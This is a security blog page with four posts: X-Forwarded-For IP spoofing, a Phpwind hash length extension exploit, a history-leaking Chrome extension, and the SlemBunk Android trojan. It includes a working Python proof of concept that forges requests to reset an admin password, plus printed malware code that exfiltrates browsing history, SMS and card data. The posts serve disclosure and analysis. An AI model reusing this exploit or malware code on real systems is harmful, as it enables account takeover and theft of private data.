xxlegend


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 搜索

获取用户IP的正确姿势

发表于 2016-11-01 | 分类于 Python | | 阅读次数

如何获取用户的IP,这个需求简直是太常见了,像登录入口,注册入口,投票,日志记录,api接口中判断同一个ip单位时间内的请求数,可是怎么去获取用户的真实IP呢?网上的代码很多,好多人直接拿来就用,却没有想到带来了很大的安全问题。

1 代码示例

1
2
3
4
5
6
7
8
9
10
<?php
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$myip = $_SERVER['HTTP_CLIENT_IP'];
}else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$myip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$myip= $_SERVER['REMOTE_ADDR'];
}
echo $myip;
?>

这是网上的一个示范例子,我们很多同事也这么写,上面这个例子是php实现的,由于HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR,HTTP_X_FORWARDED,HTTP_X_CLUSTER_CLIENT_IP,HTTP_FORWARDED_FOR,HTTP_FORWARDED,HTTP_VIA (经过的 Proxy)这些以HTTP打头的server变量都是用户可控的,由此可导致xss,认证绕过等缺陷。下面我们看下python的例子:

1
2
3
4
5
6
7
8
def get_ip(request):
try:
return request.META['HTTP_X_FORWARDED_FOR']
except KeyError:
try:
return request.META['HTTP_X_REAL_IP']
except KeyError:
return request.META.get('REMOTE_ADDR', None)

也是由于客户端变量可控导致获取的ip可为任意值。在此例中,X-Real-IP是nginx特有的,通过配置proxy_set_header X-Real-IP $remote_addr;从REMOTE_ADDR中取值。

2 X-Forwarded-For和 REMOTE_ADDR的区别

REMOTE_ADDR代表着客户端的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。

正如前面所说,有了代理就获取不了用户的真实IP,由此X-Forwarded-For应运而生,它是一个非正式协议,在请求转发到代理的时候代理会添加一个X-Forwarded-For头,将连接它的客户端IP(也就是你的上网机器IP)加到这个头信息里,这样末端的服务器就能获取真正上网的人的IP了。
假设用户的请求顺序如下:
网民电脑ip->代理服务器1–>代理服务器2–>目标服务器
REMOTE_ADDR:代理服务器2的IP值
X-Forwarded-For就是:网民电脑IP,代理1的IP,代理2的IP
在这里只有REMOTE_ADDR是可信的,其他从客户端获取的数据都是不可信的,都是可伪造的。下面简单示例下一个篡改X-Forwarded-For的情况:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: www.myip.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: Hm_lvt_380ffd3c2225d34ca2087c6970395366=1473755162; Hm_lpvt_380ffd3c2225d34ca2087c6970395366=1473755299; sc_is_visitor_unique=rx4067297.1473755300.43C8C2ACB3CA4FAAEB8885235516D36A.1.1.1.1.1.1.1.1.1
X-Forwarded-For: 127.0.0.111111

返回信息是:

1
<font style="font-family:Arial,Helvetica,Sans Serif;font-size: 24pt;" color="#0066CC"><b>您的IP地址: 127.0.0.111111</b></font>

3 正确的代码示例:

在X-Forwarded-For信息头中可以提取真实的用户IP,但是这个IP是可以伪造的,如果从X-Forwarded-For提取IP作为用户的IP对于存在登录次数,api速率限制等一些接口是致命的缺陷,因为任意构造出无数的合法或者非法IP地址。而REMOTE_ADDR只是服务器前端的IP地址,如果没有代理就是用户的真实地址。这个是不可伪造的,而且代理是有限的,可以基于此来获取IP。在wordpress中,获取客户的IP地址代码如下:

1
$remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] );

如果是python代码的话:

1
remote_ip = request.META.get('REMOTE_ADDR', None)

当然上述代码也存在缺陷,就是服务器端开了nginx反向代理的时候,每次获取的都是反向代理的IP,这不是我们的预期,需要nginx在配置反向代理的时候做一定设置并且修改代码。如:

1
2
3
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

或者采用realip模块,配置如下:

1
2
set_real_ip_from 10.1.10.0/24;
real_ip_header X-Forwarded-For;

在存在反向代理的情况下,如果直接获取REMOTE_ADDR,得到的是反向代理IP的值,从上面的配置也可以看出,在反向代理nginx的配置中将REMOTE_ADDR赋给了X-Real-IP,那么也是从X-Real-IP中来获取用户的IP,如下才是正确的获取用户IP的方式:

1
2
3
4
5
def get_ip(request):
try:
return request.META['HTTP_X_REAL_IP']
except KeyError:
return request.META.get('REMOTE_ADDR',None)

4 总结

X-Forwarded-For可被用户伪造,不应该被信任;REMOTE_ADDR是使用“REMOTE_ADDR”机器的前一个建立tcp连接的机器的地址,是不可伪造的,在无代理时可以理解为用户的IP地址,有反向代理时,先将REMOTE_ADDR赋给X-Real-IP,最后可以从X-Real-IP中获取用户的IP。

参考文献:

http://gong1208.iteye.com/blog/1559835

http://devco.re/blog/2014/06/19/client-ip-detection/

http://blog.pengqi.me/2013/04/20/remote-addr-and-x-forwarded-for/

Phpwind利用hash长度扩展攻击修改后台密码getshell

发表于 2016-08-01 | 分类于 Php | | 阅读次数

#1 哈希长度扩展攻击

##1.1 简介
哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。哈希值基本表示如下H(密钥||消息),即知道了哈希值和密钥的长度,可以推出H(密钥||消息||padding||append)的哈希值,padding是要填充的字段,append则是要附加的消息。其实如果不知道密钥长度,可通过暴力猜解得到,已知的有长度扩展攻击缺陷的函数有MD5,SHA-1,SHA-256等等,详细的攻击原理可参考Everything you need to know about hash length extension attacks

##1.2 利用
这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
安装:pip install hashpumpy

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/python# hashpump --help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h --help Display this message.
-t --test Run tests to verify each algorithm is operating properly.
-s --signature The signature from known message.
-d --data The data from the known message.
-a --additional The information you would like to add to the known message.
-k --keylength The length in bytes of the key being used to sign the original message with.
Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@botnet_hunter)>

-s参数对应的就是H(密钥||消息)中的哈希值,-d参数对应着消息,-k参数对应着密钥的长度,-a则是要附加的消息。

1
2
3
root@kali:~/python# hashpump -s "ebfe0fff1806cfe6186c6a0b172e8148" -d "1465895192adoAvatarcavatarmapitypeflashuid2uidundefined" -k 32 -a namespacesiteaeditUsercusermapipasswordGongFang9uid1
4daee9a61955a1c17319f4c1664d11df
1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00namespacesiteaeditUsercusermapipasswordGongFang9uid1

最后提供一个哈希扩展攻击在线工具:http://sakurity.com/lengthextension,需要注意的长度是密钥+消息的总长度,详情见图:![此处输入图片的描述][2]

#2 phpwind利用点分析
phpwind会在每次请求的时候校验密钥,具体的对应函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$charset = 'utf-8';
$_windidkey = $this->getInput('windidkey', 'get');
$_time = (int)$this->getInput('time', 'get');
$_clientid = (int)$this->getInput('clientid', 'get');
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}

在这个函数中会提取windidkey,并且和WindidUtility::appKey生成的结果做对比,不同则退出,如过相同继续判断时间是否超时,超时也退出,appKey的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data,因为下面的buildRequest()里加了。
$array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
'Filename', 'Upload', 'token', '__data');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.'||'.$secretkey).$time.$str);
}

在函数中md5(md5($apiId.'||'.$secretkey).$time.$str)的值是知道的,即windidkey,这个值在用户上传头像处泄露,md5($apiId.'||'.$secretkey)的长度是知道的,32bit,$time.$str参数是用户可控的,那么就满足了哈希扩展长度攻击,下面我们看下用户上传头像处的请求,右键查看源代码找到如下请求:

1
http://192.168.3.106/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504

接着看实际构造的appKey的参数效果,这个可以根据trace的结果直接给出,具体如下:

1
md5('520a1e355b8cfc82e56ae578176d7f101465977216adoAvatarcavatarmapitypeflashuid2uidundefined') /var/www/html/src/windid/service/base/WindidUtility.php:54

md5($apiId.'||'.$secretkey)的值为520a1e355b8cfc82e56ae578176d7f10,$time为1465977216,$str为adoAvatarcavatarmapitypeflashuid2uidundefined,从appKey函数的实现来看,$str就是get,post请求进行取舍排序得到的。有了这个基础,根据hashpump公式,在post请求中加入我们的参数,并计算出合适的windidkey值,提交请求,就可达到目的。

#3 利用POC
可利用如下的代码构造post请求,修改某uid用户的密码。如果修改的是管理员的密码,并且这管理员有相应的后台权限,那么我们就可以在后台getshell,利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!env python
# coding=utf-8
import hashpumpy
import urllib
import urlparse
import urllib2
import requests
def md5hack(md5, ori_str, append, security_len):
md5, message = hashpumpy.hashpump(md5, ori_str,append, security_len)
quoted_message = urllib.quote(message)
print 'md5 after hash length attacked:',md5
print 'message:',message
print 'quote message:',quoted_message
return (md5,quoted_message)
def modify_passwd(ip, uid, target_uid, windidkey, padding, time, password="GongFang9"):
"""修改后台管理员的密码"""
target_uid = target_uid #uid是后台管理的uid参数
host = "http://" + ip
data = "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid, password)
url = "{0}/windid/index.php?windidkey={1}&adoAvatarcavatarmapitypeflashuid{2}uidundefined={3}&clientid=1&time={4}&namespace=site".format(host,windidkey,uid,padding,time)
print 'url:',url
print 'data:',data
r = requests.post(url,data=data)
#r = requests.post(url,data=data,headers=headers)
print r.text
if r.text.strip() == "1":
print 'modify password Succeed'
else:
print 'failed'
if __name__ == "__main__":
"""点开用户头像上传处,右键查看源码,搜索windidkey,拷贝含flash字段的那个request作为r参数"""
r = """http%3A%2F%2F192.168.3.106%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D5%26windidkey%3D1eb5af71d002ac89e22c0170806b0fe8%26time%3D1466416702%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F192.168.3.106%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F5.jpg%3Fr%3D78057"""
request = urlparse.urlparse(urllib.unquote(r))
querys = [item for item in request.query.split("&")]
query_dict = {item.split("=")[0]:item.split("=")[1] for item in querys}
ori_md5 = query_dict.get("windidkey")
time = query_dict.get('time')
uid = query_dict.get('uid')
ori_str = "{0}adoAvatarcavatarmapitypeflashuid{1}uidundefined".format(time,uid)
password = "test123"
ip = "192.168.3.173"
ip = "192.168.3.106"
target_uid = 3
post_append= "a=getConfig&c=config&m=api&id=1"
post_append= "a=editUser&c=user&m=api&uid={0}&password={1}".format(target_uid,password)
post = "".join(sorted([item.replace("=","") for item in post_append.split("&")]))
# security = "d2edc0a3340df65cb66387464f3adfc1"
# ori_str = "1465784719adoAvatarcavatarmapitypeflashuid2uidundefined"
security_len = 32#phpwind计算windidkey 公式md5(md5($apiId.'||'.$secretkey).$time.$str),md5值的长度是32
print 'hashmd5:',ori_md5
print 'security len:', security_len
print 'ori_str', ori_str
append = 'agetcappid1mapi'
append = "namespacesite" + post
print 'post',append
(md5,quoted_message) = md5hack(ori_md5, ori_str, append, security_len)
padding = quoted_message[quoted_message.index("%"):quoted_message.rindex("%")+3]
modify_passwd(ip, uid, target_uid, md5, padding, time, password)

运行之后得到

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/python# python md5hack.py
hashmd5: 4d8971d0d2556d5dcbeb3b0f10e41429
security len: 32
ori_str 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined
post namespacesiteaeditUsercusermapipasswordtangTest3uid3
md5 after hash length attacked: e46e0aaddbd4e008077535a4dafab3f5
message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined▒▒namespacesiteaeditUsercusermapipasswordtangTest3uid3
quote message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00namespacesiteaeditUsercusermapipasswordtangTest3uid3
url: http://192.168.3.173/windid/index.php?windidkey=e46e0aaddbd4e008077535a4dafab3f5&adoAvatarcavatarmapitypeflashuid10uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00&clientid=1&time=1466474956&namespace=site
data: a=editUser&c=user&m=api&uid=3&password=test123
1
modify password Succeed

代码中修改uid为3的账户的密码为GongFang7,假设该用户具有后台管理员权限,进入后台getshell,具体的getshell可参考http://www.wooyun.org/bugs/wooyun-2016-0175518

小心浏览器插件窃取你的隐私

发表于 2016-05-01 | 分类于 Burpsuite | | 阅读次数

浏览器插件已经成为了浏览器的必备品,但是市场上的插件也良莠不齐,甚至部分插件切换用户隐私,如浏览器的历史记录。笔者就遇到了这样一个插件,就是著名的手势插件:crxMouse Chrome Gestures,更可气的是已经用了这个插件一年多了。

#1 简单介绍:
用Google搜索crxMouse Chrome Gestures导向到google市场,可以看到这款插件的简单介绍。
原名:Gestures for Chrome(TM)汉化版.方便,快捷,充分发掘鼠标的所有操作.功能包括:鼠标手势,超级拖曳,滚轮手势,摇杆手势,平滑滚动,标签页列表等.
本扩展致力于通过鼠标来实现一些功能操作,充分挖掘鼠标的所有操作.
功能包括:鼠标手势,超级拖曳,滚轮手势,摇杆手势,平滑滚动,标签页列表等
目前在google市场上这款插件有30万的用户,累计评价5000,其中很大一部分是国内用户,影响还是非常广泛的。google市场

#2 验证窃取行为
通过wireshark抓包可以看到两个分别发送到s808.searchelper.com和s1808.searchelper.com的请求,直接上图:s808服务请求

从origin可以看出,请求是来源于浏览器插件,标记为:jgiplclhploodgnkcljjgddajfbmafmp,可以通过chrome的chrome://extensions/找到该id对应的插件,就是插件显示,其对应的系统目录为

1
2
C:\Users\[用户]\AppData\Local\Google\Chrome\User Data\Default\Extensions\jgiplclhploodgnkcljjgddajfbmafmp
```,我们可以通过分析其代码发现其实现,这个后续再讲。细心的读者可能会看到post请求段被加密了,看结构像是base64,尝试用base64解码,还是base64编码格式,再次解码,得到如下数据:

s=808&md=21&pid=SjOa3PgqWSHYapU&sess=314039255259558500&q=http://bbs.pediy.com/showthread.php?t=179524&prev=http://bbs.pediy.com/forumdisplay.php?f=161&link=1&sub=chrome&hreferer=http://bbs.pediy.com/forumdisplay.php?f=161&tmv=3015

1
2
s=808就代表着服务器s808,pid即userid,sess是用户本地标记session,sub代表着浏览器类型,q代表当前页面,prev代表着从哪个页面过来,也就是referer的作用,hreferer就也记录着referer字段有了这些数据就可以分析用户行为,可以供搜索引擎,其实百度统计和google统计也是干同样的事,甚至百度统计还有点击等的统计。就这样你的浏览行为被发送给了其他服务器,这不是最危险的,最危险的是你在浏览内网的一些页面也会被发送出去,内网的一些站点就很容易被泄露了。
接着我们看另外一个请求,这个请求是发送到s1808服务器上,具体请求如下:![s1808服务器的请求][4],解密加密后的内容和发送到s808的请求基本一致,具体如下:

s=1808&md=21&pid=SjOa3PgqWSHYapU&sess=765877789119258500&sub=chrome&q=http%3A//bbs.pediy.com/showthread.php%3Ft%3D179524&hreferer=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%3D161&prev=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%3D161&tmv=4015&tmf=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
这里就有点搞不太清楚发这样一个备份请求的原因了,难道仅仅是备份,有待思考,为了更好的弄清楚该插件还有没有其他危险行为,接下来我们分析插件的实现。
#3 恶意插件实现
插件的恶意行为集中在upalytics_ch.js代码中,安装后的初始化代码:
```js
this.initOnceAfterInstall = function() {
if (!utils.db.get("userid")) {
var id = utils.createUserID();
utils.db.set("userid", id)
}
if (!utils.db.get("install_time")) {
var now = (new Date).getTime() / 1E3;
utils.db.set("install_time", now)
}
if (!utils.db_type.get("tmv")) {
var now = (new Date).getTime() / 1E3;
utils.db_type.set("tmv", SIM_ModuleConstants._TMV);
}
};

在初始化中生成userid,获取install_time,twv字段存放在本地localstorage中,接着会创建各种调用addListener接口来创建监听器,当tab页更新,替换,激活的时候就会调用相应的请求发送相应的函数,extension_onRequest则是发送到s808服务器,tabs_onUpdated,tabs_onActivated,tabs_onReplaced则是发送请求到s1808服务器,具体代码如下:

1
2
3
4
5
6
7
8
9
10
this.start = function() {
try {
chrome.extension.onRequest.addListener(extension_onRequest);
chrome.tabs.onUpdated.addListener(tabs_onUpdated);
chrome.tabs.onActivated.addListener(tabs_onActivated);
chrome.tabs.onReplaced.addListener(tabs_onReplaced)
} catch (e) {
log.SEVERE("8835", e)
}
}

下面我们简单分析下发送到s808.searchelper.com的related请求的代码,已简化,简化部分主要是去除一些google搜索的跳转,去除docType非html类型的,去除间隔时间很短的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function extension_onRequest(request, sender, sendResponse) {
var prev_state = tabs_states[tabId];
tabs_states[tabId] = change_status;
if (res_prev_url == tab_url && prev_state != change_status){
log.ERROR("ERROR 8002 ??");
return
}
if(res_prev_url == null || res_prev_url.length == 0) {
res_prev_url = last_prev;
}
last_prev = tab_url;
var data = "s=" + SIM_Config_BG.getSourceId() + "&md=21&pid=" + utils.db.get("userid") + "&sess=" + SIM_Session.getSessionId() + "&q=" + encodeURIComponent(tab_url) + "&prev=" + encodeURIComponent(res_prev_url) + "&link=" + (ref ? "1" : "0") + "&sub=" + SIM_ModuleConstants.BROWSER + "&hreferer=" + encodeURIComponent(ref);
data = data + "&tmv=" + SIM_ModuleConstants._TMV;
data = SIM_Base64.encode(SIM_Base64.encode(data));
data = "e=" + data;
var url = utils.db_type.get("server") + "/related";
utils.net.post(url, "json", data, function(result) {
log.INFO("Succeeded in posting data");
tabs_prevs[tabId] = tab_url
}, function(httpCode) {
log.INFO("Failed to retrieve content. (HTTP Code:" + httpCode.status + ")");
log.ERROR("ERROR 8004 ??");
tabs_prevs[tabId] = tab_url
})
}

从上述代码中可以看出在关键的浏览器当前url和referer都进行了两次base64编码处理,可以逃过一些普通用户的眼睛,难道这种方式能够躲过google的一些自动审查,比较好奇。

#4 建议
码农也不容易,辛辛苦苦写出来的程序不赚钱只能靠窃取用户浏览历史发给第三方来获取回报,想必也是迫不得已,当然对于这种窃取隐私的绝对要抵制。mouse guesture作为一个很好用的特性,笔者已经难以离开,所以在google市场上选择了其他的guesture插件。有了这个教训,相信大家以后使用浏览器插件肯定会多长一双眼睛。

SlemBunk木马浅析

发表于 2016-04-01 | 分类于 木马 | | 阅读次数

SlemBunk最初由FireEye发现,后来其他一些安全公司也相继发现,作者有幸拿到该样本,分析该木马发现其设计精妙绝伦,可在此基础上做进一步演变。该样本伪造成其他一些常用android应用,欺骗用户输入信用卡相关敏感信息,下面我们就一步步分析。

#1 恶意行为

##1.1 控制锁屏行为
控制电源状态为PARTIAL_WAKE_LOCK,在这个状态下,即使关机,cpu也处在运行状态,直到代码主动释放。

1
2
3
4
5
public void onCreate() {
super.onCreate();
this.mWakeLock = this. getSystemService("power" ).newWakeLock (1, "MyWakeLock" ); // in PARTIAL_WAKE_LOCK mode regardless of the power off
this.mWakeLock .acquire ();
}

##1.2 设备管理员权限
获取设备管理员权限,如果没有设备管理员则申请,它会弹出一个界面供用户确认,DEVICE_ADMIN是相应的组件,ADD_EXPLANTION给用户的解释说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public void checkDeviceAdmin() {
ComponentName v0 = new ComponentName((( Context)this ), MyDeviceAdminReceiver.class );
if(!this .deviceManager. isAdminActive(v0)) {
Intent v1 = new Intent( "android.app.action.ADD_DEVICE_ADMIN" );
v1. putExtra("android.app.extra.DEVICE_ADMIN" , ((Parcelable) v0));
v1. putExtra("android.app.extra.ADD_EXPLANATION" , "Get video codec access");
this.startActivity (v1 );
}
}
```
##1.3 隐藏图标
等用户安装完该应用,激活设备管理权限之后,会隐藏图标,比较有意思的隐藏图标的代码有一小段隐藏代码,对于smali可能不好阅读,但是反编译成java之后,这代码就是小菜一碟。
```java
if(("3". equals("3")) || ( "3" .equals( "1" ))) {
this.getPackageManager ().setComponentEnabledSetting (new ComponentName(((Context )this), Main
. class), 2 , 1);
```
##1.4 计划任务
```java
private void scheduleLaunch() {
Calendar v0 = Calendar .getInstance ();
v0. add( 12, this .restartTimeMinutes);
Intent v1 = new Intent( "com.slempo.service.activities.HTMLStart" );
v1. putExtra("values" , this. getIntent().getStringExtra ("values"));
this.am .set (0, v0. getTimeInMillis(), PendingIntent.getBroadcast (((Context) this), 0 , v1 , 0));
}
```
##1.5获取运行的应用
slembunk木马会根据当前正在运行的应用来决定是否启用信用卡欺骗页面
```java
private String getTopRunning() {
List v1 = this .getSystemService ("activity"). getRunningTasks(1 );
String v3 = !v1.isEmpty() ? v1.get(0 ).topActivity. getPackageName() : "" ;
return v3;
}
```
##1.6 获取短信记录
```java
public static String readMessagesFromDeviceDB (Context context) {
Cursor v8;
Uri v1 = Uri .parse ("content://sms/inbox");
String[] v2 = new String[]{ "_id", "address" , "body", "date"};
JSONArray v12 = new JSONArray();
try {
v8 = context.getContentResolver ().query (v1 , v2 , null, null, null );
if(v8 != null ) {
if(!v8.moveToFirst ()) {
goto label_55 ;
}
do {
String v6 = v8.getString(v8.getColumnIndex ("address"));
String v7 = v8.getString(v8.getColumnIndex ("body"));
String v9 = new SimpleDateFormat( "dd-MM-yyyy HH:mm:ss" , Locale.US ).format (new Date(
Long.parseLong(v8.getString(v8.getColumnIndex ("date")))));
JSONObject v13 = new JSONObject();
v13. put( "from", v6);
v13. put( "body", v7);
v13. put( "date", v9);
v12. put( v13);
if(v8.moveToNext ()) {
continue;
}
break;
}
while(true );
}
}

##1.6获取电话号码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static String getPhoneNumber(Context context ) {
String v0 = context.getSystemService ("phone"). getLine1Number();
if(v0 == null || (v0. equals("" ))) {
v0 = "";
}
return v0;
}
```
##1.7 获取DeviceID
```java
public static String getDeviceId (Context context) {
String v1;
String v0 = context.getSystemService ("phone"). getDeviceId();
if((v0.equals("" )) || v0 == null || (v0.equals("000000000000000" ))) {
v0 = Settings$Secure.getString(context.getContentResolver (), "android_id" );
if(v0 != null && !v0. equals("" )) {
return v0;
}
v0 = Build.SERIAL ;
if(v0 != null && !v0. equals("" ) && !v0. equalsIgnoreCase("unknown" )) {
return v0;
}
v1 = "not available";
}
else {
v1 = v0;
}
return v1;
}

##1.8 设置开机启动
木马会被设置成开机启动并且监听外部sd卡,当sd卡准备好之后也会被启动。

1
2
3
4
5
6
7
8
9
10
<receiver android:enabled="true " android:exported=" true" android:name=".reiujdksmcoiwerj ">
<intent-filter>
<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE " />
</intent-filter>
</receiver>
<receiver android:enabled="true " android:exported=" true" android:name=".hujnkij8uijkjlmj ">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED " />
</intent-filter>
</receiver>

##1.9 监听短信
木马通过短信下发cc指令,从如下AndroidMenifest.xml部分文件可看出,木马对短信应用进行监听,并且权限高于系统短信应用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
< receiver android:enabled ="true" android:exported="true " android:name=".riejkmdcwepoksmieru ">
<intent-filter android:priority="999 ">
<action android:name="android.provider.Telephony.SMS_RECEIVED " />
</intent-filter>
</receiver>
```
下面是recevier的onReceive方法:
```java
public void onReceive(Context context, Intent intent ) {
SharedPreferences v8 = context.getSharedPreferences ("AppPrefs", 0);
new HashSet ();
try {
Object v1 = DATAWraper .deserialize (v8 .getString ("BLOCKED_NUMBERS", DATAWraper.serialize(
new HashSet ())));
}
catch(Exception v2 ) {
v2. printStackTrace();
}
Map v3 = SendSMSRecevier .retrieveMessages (intent );
Iterator v10 = v3.keySet().iterator ();
while(v10.hasNext()) {
Object v7 = v10.next();
CommandCenter v6 = new CommandCenter( v3. get( v7), "", context);
if(v6.processCommand ()) {
this.abortBroadcast ();
continue;
}
boolean v4 = v6.needToInterceptIncoming ();
boolean v5 = v6.needToListen ();
if(!v4 && !((HashSet )v1 ).contains (v7 )) {
if(!v5) {
continue;
}
SendData.sendListenedIncomingSMS (context , v3 .get (v7 ), ((String)v7));
continue;
}
SendData.sendInterceptedIncomingSMS (context , v3 .get (v7 ), ((String)v7));
this.abortBroadcast ();
}
}
```
#2 木马工作流程
木马在AndroidManifest.xml中监听了SMS_RECEIVED,ACTION_EXTERNAL_APPLICATIONS_AVAILABLE,BOOT_COMPLETED,DEVICE_ADMIN_ENABLED,com.slempo.service.activities.HTMLStart这五个action,同时注册了几个activity和一个service,除主activity外,其他都是一些欺骗页面,service则负责启动相应activity,请求设备管理权限等。下面简单看下代码流程:
![][1]
在main activity中会启动MainServiceStart服务,这个服务会启动三个线程周期性轮询,判断当前应用启动伪信用卡界面;请求deviceAdmin权限;判断指令启动相应的伪界面;发送电话,ime等敏感信息。发送敏感信息的请求如下:

POST / HTTP/1.1
Content-Length: 481
Content-Type: text/plain; charset=UTF-8
Host: 181.174.164.25:2080
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

{“os”:”4.0.4”,”model”:”Unknown sdk”,”phone number”:”15555215554”,”apps”:[“com.android.gesture.builder”,”com.android.widgetpreview”,”com.example.android.apis”,”com.example.android.livecubes”,”com.example.android.softkeyboard”,”com.joeykrim.rootcheck”,”de.robv.android.xposed.installer”,”de.robv.android.xposed.installer.staticbusybox”,”eu.chainfire.supersu”,”org.slempo.service”],”imei”:”8f986e65d50f299a”,”client number”:”3”,”type”:”device info”,”operator”:”310260”,”country”:”US”}

1
2
3
4
5
6
前面也说到了木马会根据当前正在运行的应用来决定是否启动伪信用卡页面,伪界面如下
![添加信用卡][2]
![添加详细信息][3]
木马作者对上述用户信息做了严格校验,首先是信用卡信息必须合法,其次过期时间必须在2014到2020年之间,到了信用卡地址信息页面,对邮政编码和电话号码做了严格的关联,用户填完所有信息之后就会发送给c&c主机,请求如下:

POST / HTTP/1.1
Content-Length: 401
Content-Type: text/plain; charset=UTF-8
Host: 181.174.164.25:2080
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

{“data”:{“additional information”:{“old vbv password”:”123456”,”vbv password”:”qwerty”},”type”:”card information”,”card”:{“cvc”:”393”,”month”:”12”,”year”:”15”,”number”:”4024 0238 6573 0515”},”billing address”:{“date of birth”:”01.03.1990”,”phone number”:”212-925-2355”,”street address”:”dalianganjinzi”,”zip code”:”10002”,”phone prefix”:”+1”,”name on card”:”Zhanghua”}},”type”:”user data”,”code”:”-1”}

1
附录 c&c指令

CommandCenter.commands. add(“#intercept_sms_start”);
CommandCenter.commands .add (“#intercept_sms_stop”)
CommandCenter.commands .add (“#block_numbers”);
CommandCenter.commands .add (“#unblock_all_numbers”);
CommandCenter.commands .add (“#unblock_numbers”);
